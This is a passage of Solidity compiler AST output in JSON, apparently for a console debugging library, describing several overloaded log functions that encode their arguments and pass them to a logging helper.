pure"}},"id":27626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34143:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27627,"nodeType":"ExpressionStatement","src":"34143:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34055:3:15","parameters":{"id":27615,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27608,"mutability":"mutable","name":"p0","nameLocation":"34073:2:15","nodeType":"VariableDeclaration","scope":27629,"src":"34059:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27607,"name":"string","nodeType":"ElementaryTypeName","src":"34059:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27610,"mutability":"mutable","name":"p1","nameLocation":"34085:2:15","nodeType":"VariableDeclaration","scope":27629,"src":"34077:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27609,"name":"uint256","nodeType":"ElementaryTypeName","src":"34077:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27612,"mutability":"mutable","name":"p2","nameLocation":"34103:2:15","nodeType":"VariableDeclaration","scope":27629,"src":"34089:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27611,"name":"string","nodeType":"ElementaryTypeName","src":"34089:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27614,"mutability":"mutable","name":"p3","nameLocation":"34115:2:15","nodeType":"VariableDeclaration","scope":27629,"src":"34107:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27613,"name":"address","nodeType":"ElementaryTypeName","src":"34107:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34058:60:15"},"returnParameters":{"id":27616,"nodeType":"ParameterList","parameters":[],"src":"34133:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27652,"nodeType":"FunctionDefinition","src":"34250:187:15","nodes":[],"body":{"id":27651,"nodeType":"Block","src":"34328:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c626f6f6c2c75696e7432353629","id":27643,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34378:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e41b6f6f58a4f880a3266f23bebaff73175ff4306317c20982bc2eabc04edd13","typeString":"literal_string \"log(string,uint256,bool,uint256)\""},"value":"log(string,uint256,bool,uint256)"},{"id":27644,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27631,"src":"34414:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27645,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27633,"src":"34418:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27646,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27635,"src":"34422:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27647,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27637,"src":"34426:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e41b6f6f58a4f880a3266f23bebaff73175ff4306317c20982bc2eabc04edd13","typeString":"literal_string \"log(string,uint256,bool,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27641,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34354:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27642,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34358:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34354:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27648,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34354:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27640,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"34338:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27649,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34338:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27650,"nodeType":"ExpressionStatement","src":"34338:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34259:3:15","parameters":{"id":27638,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27631,"mutability":"mutable","name":"p0","nameLocation":"34277:2:15","nodeType":"VariableDeclaration","scope":27652,"src":"34263:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27630,"name":"string","nodeType":"ElementaryTypeName","src":"34263:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27633,"mutability":"mutable","name":"p1","nameLocation":"34289:2:15","nodeType":"VariableDeclaration","scope":27652,"src":"34281:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27632,"name":"uint256","nodeType":"ElementaryTypeName","src":"34281:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27635,"mutability":"mutable","name":"p2","nameLocation":"34298:2:15","nodeType":"VariableDeclaration","scope":27652,"src":"34293:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27634,"name":"bool","nodeType":"ElementaryTypeName","src":"34293:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27637,"mutability":"mutable","name":"p3","nameLocation":"34310:2:15","nodeType":"VariableDeclaration","scope":27652,"src":"34302:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27636,"name":"uint256","nodeType":"ElementaryTypeName","src":"34302:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"34262:51:15"},"returnParameters":{"id":27639,"nodeType":"ParameterList","parameters":[],"src":"34328:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27675,"nodeType":"FunctionDefinition","src":"34443:192:15","nodes":[],"body":{"id":27674,"nodeType":"Block","src":"34527:108:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c626f6f6c2c737472696e6729","id":27666,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34577:33:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_abf73a9831ab2bdeb8da9d06a81eab42196b20e336ab670ecba37bac94839d87","typeString":"literal_string \"log(string,uint256,bool,string)\""},"value":"log(string,uint256,bool,string)"},{"id":27667,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27654,"src":"34612:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27668,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27656,"src":"34616:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27669,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27658,"src":"34620:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27670,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27660,"src":"34624:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_abf73a9831ab2bdeb8da9d06a81eab42196b20e336ab670ecba37bac94839d87","typeString":"literal_string \"log(string,uint256,bool,string)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":27664,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34553:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27665,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34557:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34553:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34553:74:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27663,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"34537:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34537:91:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27673,"nodeType":"ExpressionStatement","src":"34537:91:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34452:3:15","parameters":{"id":27661,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27654,"mutability":"mutable","name":"p0","nameLocation":"34470:2:15","nodeType":"VariableDeclaration","scope":27675,"src":"34456:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27653,"name":"string","nodeType":"ElementaryTypeName","src":"34456:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27656,"mutability":"mutable","name":"p1","nameLocation":"34482:2:15","nodeType":"VariableDeclaration","scope":27675,"src":"34474:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27655,"name":"uint256","nodeType":"ElementaryTypeName","src":"34474:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27658,"mutability":"mutable","name":"p2","nameLocation":"34491:2:15","nodeType":"VariableDeclaration","scope":27675,"src":"34486:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27657,"name":"bool","nodeType":"ElementaryTypeName","src":"34486:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27660,"mutability":"mutable","name":"p3","nameLocation":"34509:2:15","nodeType":"VariableDeclaration","scope":27675,"src":"34495:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27659,"name":"string","nodeType":"ElementaryTypeName","src":"34495:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34455:57:15"},"returnParameters":{"id":27662,"nodeType":"ParameterList","parameters":[],"src":"34527:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27698,"nodeType":"FunctionDefinition","src":"34641:181:15","nodes":[],"body":{"id":27697,"nodeType":"Block","src":"34716:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c626f6f6c2c626f6f6c29","id":27689,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34766:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_354c36d6798abb81721fb2beaef51c92cab9d4cf16be10f0a4724648784ecb76","typeString":"literal_string \"log(string,uint256,bool,bool)\""},"value":"log(string,uint256,bool,bool)"},{"id":27690,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27677,"src":"34799:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27691,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27679,"src":"34803:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27692,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27681,"src":"34807:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27693,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27683,"src":"34811:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_354c36d6798abb81721fb2beaef51c92cab9d4cf16be10f0a4724648784ecb76","typeString":"literal_string \"log(string,uint256,bool,bool)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":27687,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34742:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34746:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34742:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27694,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34742:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27686,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"34726:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27695,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34726:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27696,"nodeType":"ExpressionStatement","src":"34726:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34650:3:15","parameters":{"id":27684,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27677,"mutability":"mutable","name":"p0","nameLocation":"34668:2:15","nodeType":"VariableDeclaration","scope":27698,"src":"34654:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27676,"name":"string","nodeType":"ElementaryTypeName","src":"34654:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27679,"mutability":"mutable","name":"p1","nameLocation":"34680:2:15","nodeType":"VariableDeclaration","scope":27698,"src":"34672:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27678,"name":"uint256","nodeType":"ElementaryTypeName","src":"34672:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27681,"mutability":"mutable","name":"p2","nameLocation":"34689:2:15","nodeType":"VariableDeclaration","scope":27698,"src":"34684:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27680,"name":"bool","nodeType":"ElementaryTypeName","src":"34684:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27683,"mutability":"mutable","name":"p3","nameLocation":"34698:2:15","nodeType":"VariableDeclaration","scope":27698,"src":"34693:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27682,"name":"bool","nodeType":"ElementaryTypeName","src":"34693:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"34653:48:15"},"returnParameters":{"id":27685,"nodeType":"ParameterList","parameters":[],"src":"34716:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27721,"nodeType":"FunctionDefinition","src":"34828:187:15","nodes":[],"body":{"id":27720,"nodeType":"Block","src":"34906:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c626f6f6c2c6164647265737329","id":27712,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"34956:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_e0e95b9833a204b7ba633bd63a60ec523906565f2c86d8936f7ff3e9937880f7","typeString":"literal_string \"log(string,uint256,bool,address)\""},"value":"log(string,uint256,bool,address)"},{"id":27713,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27700,"src":"34992:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27714,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27702,"src":"34996:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27715,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27704,"src":"35000:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":27716,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27706,"src":"35004:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e0e95b9833a204b7ba633bd63a60ec523906565f2c86d8936f7ff3e9937880f7","typeString":"literal_string \"log(string,uint256,bool,address)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":27710,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"34932:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27711,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"34936:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"34932:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27717,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34932:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27709,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"34916:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27718,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"34916:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27719,"nodeType":"ExpressionStatement","src":"34916:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"34837:3:15","parameters":{"id":27707,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27700,"mutability":"mutable","name":"p0","nameLocation":"34855:2:15","nodeType":"VariableDeclaration","scope":27721,"src":"34841:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27699,"name":"string","nodeType":"ElementaryTypeName","src":"34841:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27702,"mutability":"mutable","name":"p1","nameLocation":"34867:2:15","nodeType":"VariableDeclaration","scope":27721,"src":"34859:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27701,"name":"uint256","nodeType":"ElementaryTypeName","src":"34859:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27704,"mutability":"mutable","name":"p2","nameLocation":"34876:2:15","nodeType":"VariableDeclaration","scope":27721,"src":"34871:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":27703,"name":"bool","nodeType":"ElementaryTypeName","src":"34871:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":27706,"mutability":"mutable","name":"p3","nameLocation":"34888:2:15","nodeType":"VariableDeclaration","scope":27721,"src":"34880:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27705,"name":"address","nodeType":"ElementaryTypeName","src":"34880:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34840:51:15"},"returnParameters":{"id":27708,"nodeType":"ParameterList","parameters":[],"src":"34906:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27744,"nodeType":"FunctionDefinition","src":"35021:193:15","nodes":[],"body":{"id":27743,"nodeType":"Block","src":"35102:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728737472696e672c75696e743235362c616464726573732c75696e7432353629","id":27735,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"35152:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_4f04fdc6b6271b036262883bae0d1ea5155524010fed0023b5c71c574fb937ff","typeString":"literal_string \"log(string,uint256,address,uint256)\""},"value":"log(string,uint256,address,uint256)"},{"id":27736,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27723,"src":"35191:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":27737,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27725,"src":"35195:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":27738,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27727,"src":"35199:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":27739,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":27729,"src":"35203:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4f04fdc6b6271b036262883bae0d1ea5155524010fed0023b5c71c574fb937ff","typeString":"literal_string \"log(string,uint256,address,uint256)\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":27733,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"35128:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":27734,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"35132:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"35128:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":27740,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35128:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":27732,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"35112:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":27741,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"35112:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":27742,"nodeType":"ExpressionStatement","src":"35112:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"35030:3:15","parameters":{"id":27730,"nodeType":"ParameterList","parameters":[{"constant":false,"id":27723,"mutability":"mutable","name":"p0","nameLocation":"35048:2:15","nodeType":"VariableDeclaration","scope":27744,"src":"35034:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":27722,"name":"string","nodeType":"ElementaryTypeName","src":"35034:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":27725,"mutability":"mutable","name":"p1","nameLocation":"35060:2:15","nodeType":"VariableDeclaration","scope":27744,"src":"35052:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27724,"name":"uint256","nodeType":"ElementaryTypeName","src":"35052:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":27727,"mutability":"mutable","name":"p2","nameLocation":"35072:2:15","nodeType":"VariableDeclaration","scope":27744,"src":"35064:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":27726,"name":"address","nodeType":"ElementaryTypeName","src":"35064:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":27729,"mutability":"mutable","name":"p3","nameLocation":"35084:2:15","nodeType":"VariableDeclaration","scope":27744,"src":"35076:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":27728,"name":"uint256","nodeType":"ElementaryTypeName","src":"35076:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"35033:54:15"},"returnParameters":{"id":27731,"nodeType":"ParameterList","parameters":[],"src":"35102:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":27767,"nod